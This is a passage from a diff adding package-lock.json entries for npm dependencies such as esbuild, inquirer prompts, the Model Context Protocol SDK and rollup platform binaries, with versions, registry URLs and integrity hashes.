+ "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/win32-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz",
+ "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@hono/node-server": {
+ "version": "1.19.14",
+ "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.14.tgz",
+ "integrity": "sha512-GwtvgtXxnWsucXvbQXkRgqksiH2Qed37H9xHZocE5sA3N8O8O8/8FA3uclQXxXVzc9XBZuEOMK7+r02FmSpHtw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18.14.1"
+ },
+ "peerDependencies": {
+ "hono": "^4"
+ }
+ },
+ "node_modules/@inquirer/ansi": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-1.0.2.tgz",
+ "integrity": "sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@inquirer/checkbox": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-4.3.2.tgz",
+ "integrity": "sha512-VXukHf0RR1doGe6Sm4F0Em7SWYLTHSsbGfJdS9Ja2bX5/D5uwVOEjr07cncLROdBvmnvCATYEWlHqYmXv2IlQA==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/ansi": "^1.0.2",
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/figures": "^1.0.15",
+ "@inquirer/type": "^3.0.10",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/confirm": {
+ "version": "5.1.21",
+ "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-5.1.21.tgz",
+ "integrity": "sha512-KR8edRkIsUayMXV+o3Gv+q4jlhENF9nMYUZs9PA2HzrXeHI8M5uDag70U7RJn9yyiMZSbtF5/UexBtAVtZGSbQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/core": {
+ "version": "10.3.2",
+ "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-10.3.2.tgz",
+ "integrity": "sha512-43RTuEbfP8MbKzedNqBrlhhNKVwoK//vUFNW3Q3vZ88BLcrs4kYpGg+B2mm5p2K/HfygoCxuKwJJiv8PbGmE0A==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/ansi": "^1.0.2",
+ "@inquirer/figures": "^1.0.15",
+ "@inquirer/type": "^3.0.10",
+ "cli-width": "^4.1.0",
+ "mute-stream": "^2.0.0",
+ "signal-exit": "^4.1.0",
+ "wrap-ansi": "^6.2.0",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/editor": {
+ "version": "4.2.23",
+ "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-4.2.23.tgz",
+ "integrity": "sha512-aLSROkEwirotxZ1pBaP8tugXRFCxW94gwrQLxXfrZsKkfjOYC1aRvAZuhpJOb5cu4IBTJdsCigUlf2iCOu4ZDQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/external-editor": "^1.0.3",
+ "@inquirer/type": "^3.0.10"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/expand": {
+ "version": "4.0.23",
+ "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-4.0.23.tgz",
+ "integrity": "sha512-nRzdOyFYnpeYTTR2qFwEVmIWypzdAx/sIkCMeTNTcflFOovfqUk+HcFhQQVBftAh9gmGrpFj6QcGEqrDMDOiew==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/external-editor": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-1.0.3.tgz",
+ "integrity": "sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==",
+ "license": "MIT",
+ "dependencies": {
+ "chardet": "^2.1.1",
+ "iconv-lite": "^0.7.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/figures": {
+ "version": "1.0.15",
+ "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.15.tgz",
+ "integrity": "sha512-t2IEY+unGHOzAaVM5Xx6DEWKeXlDDcNPeDyUpsRc6CUhBfU3VQOEl+Vssh7VNp1dR8MdUJBWhuObjXCsVpjN5g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@inquirer/input": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-4.3.1.tgz",
+ "integrity": "sha512-kN0pAM4yPrLjJ1XJBjDxyfDduXOuQHrBB8aLDMueuwUGn+vNpF7Gq7TvyVxx8u4SHlFFj4trmj+a2cbpG4Jn1g==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/number": {
+ "version": "3.0.23",
+ "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-3.0.23.tgz",
+ "integrity": "sha512-5Smv0OK7K0KUzUfYUXDXQc9jrf8OHo4ktlEayFlelCjwMXz0299Y8OrI+lj7i4gCBY15UObk76q0QtxjzFcFcg==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/password": {
+ "version": "4.0.23",
+ "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-4.0.23.tgz",
+ "integrity": "sha512-zREJHjhT5vJBMZX/IUbyI9zVtVfOLiTO66MrF/3GFZYZ7T4YILW5MSkEYHceSii/KtRk+4i3RE7E1CUXA2jHcA==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/ansi": "^1.0.2",
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/prompts": {
+ "version": "7.10.1",
+ "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-7.10.1.tgz",
+ "integrity": "sha512-Dx/y9bCQcXLI5ooQ5KyvA4FTgeo2jYj/7plWfV5Ak5wDPKQZgudKez2ixyfz7tKXzcJciTxqLeK7R9HItwiByg==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/checkbox": "^4.3.2",
+ "@inquirer/confirm": "^5.1.21",
+ "@inquirer/editor": "^4.2.23",
+ "@inquirer/expand": "^4.0.23",
+ "@inquirer/input": "^4.3.1",
+ "@inquirer/number": "^3.0.23",
+ "@inquirer/password": "^4.0.23",
+ "@inquirer/rawlist": "^4.1.11",
+ "@inquirer/search": "^3.2.2",
+ "@inquirer/select": "^4.4.2"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/rawlist": {
+ "version": "4.1.11",
+ "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-4.1.11.tgz",
+ "integrity": "sha512-+LLQB8XGr3I5LZN/GuAHo+GpDJegQwuPARLChlMICNdwW7OwV2izlCSCxN6cqpL0sMXmbKbFcItJgdQq5EBXTw==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/type": "^3.0.10",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/search": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-3.2.2.tgz",
+ "integrity": "sha512-p2bvRfENXCZdWF/U2BXvnSI9h+tuA8iNqtUKb9UWbmLYCRQxd8WkvwWvYn+3NgYaNwdUkHytJMGG4MMLucI1kA==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/figures": "^1.0.15",
+ "@inquirer/type": "^3.0.10",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/select": {
+ "version": "4.4.2",
+ "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-4.4.2.tgz",
+ "integrity": "sha512-l4xMuJo55MAe+N7Qr4rX90vypFwCajSakx59qe/tMaC1aEHWLyw68wF4o0A4SLAY4E0nd+Vt+EyskeDIqu1M6w==",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/ansi": "^1.0.2",
+ "@inquirer/core": "^10.3.2",
+ "@inquirer/figures": "^1.0.15",
+ "@inquirer/type": "^3.0.10",
+ "yoctocolors-cjs": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@inquirer/type": {
+ "version": "3.0.10",
+ "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-3.0.10.tgz",
+ "integrity": "sha512-BvziSRxfz5Ov8ch0z/n3oijRSEcEsHnhggm4xFZe93DHcUCTlutlq9Ox4SVENAfcRD22UQq7T/atg9Wr3k09eA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@jridgewell/gen-mapping": {
+ "version": "0.3.13",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
+ "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": "^1.5.0",
+ "@jridgewell/trace-mapping": "^0.3.24"
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.5.5",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
+ "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.31",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
+ "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/resolve-uri": "^3.1.0",
+ "@jridgewell/sourcemap-codec": "^1.4.14"
+ }
+ },
+ "node_modules/@modelcontextprotocol/sdk": {
+ "version": "1.29.0",
+ "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.29.0.tgz",
+ "integrity": "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@hono/node-server": "^1.19.9",
+ "ajv": "^8.17.1",
+ "ajv-formats": "^3.0.1",
+ "content-type": "^1.0.5",
+ "cors": "^2.8.5",
+ "cross-spawn": "^7.0.5",
+ "eventsource": "^3.0.2",
+ "eventsource-parser": "^3.0.0",
+ "express": "^5.2.1",
+ "express-rate-limit": "^8.2.1",
+ "hono": "^4.11.4",
+ "jose": "^6.1.3",
+ "json-schema-typed": "^8.0.2",
+ "pkce-challenge": "^5.0.0",
+ "raw-body": "^3.0.0",
+ "zod": "^3.25 || ^4.0",
+ "zod-to-json-schema": "^3.25.1"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@cfworker/json-schema": "^4.1.1",
+ "zod": "^3.25 || ^4.0"
+ },
+ "peerDependenciesMeta": {
+ "@cfworker/json-schema": {
+ "optional": true
+ },
+ "zod": {
+ "optional": false
+ }
+ }
+ },
+ "node_modules/@rollup/rollup-android-arm-eabi": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.2.tgz",
+ "integrity": "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ]
+ },
+ "node_modules/@rollup/rollup-android-arm64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.2.tgz",
+ "integrity": "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ]
+ },
+ "node_modules/@rollup/rollup-darwin-arm64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.2.tgz",
+ "integrity": "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@rollup/rollup-darwin-x64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.2.tgz",
+ "integrity": "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ]
+ },
+ "node_modules/@rollup/rollup-freebsd-arm64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.2.tgz",
+ "integrity": "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-freebsd-x64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.2.tgz",
+ "integrity": "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.2.tgz",
+ "integrity": "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm-musleabihf": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.2.tgz",
+ "integrity": "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.2.tgz",
+ "integrity": "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-arm64-musl": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.2.tgz",
+ "integrity": "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-loong64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.2.tgz",
+ "integrity": "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-loong64-musl": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.2.tgz",
+ "integrity": "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.2.tgz",
+ "integrity": "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-musl": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.2.tgz",
+ "integrity": "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-riscv64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.2.tgz",
+ "integrity": "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-riscv64-musl": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.2.tgz",
+ "integrity": "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-s390x-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.2.tgz",
+ "integrity": "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-x64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.2.tgz",
+ "integrity": "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-x64-musl": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.2.tgz",
+ "integrity": "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-openbsd-x64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.2.tgz",
+ "integrity": "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-openharmony-arm64": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.2.tgz",
+ "integrity": "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-arm64-msvc": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.2.tgz",
+ "integrity": "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-ia32-msvc": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.2.tgz",
+ "integrity": "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-x64-gnu": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.2.tgz",
+ "integrity": "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@rollup/rollup-win32-x64-msvc": {
+ "version": "4.62.2",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.2.tgz",
+ "integrity": "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
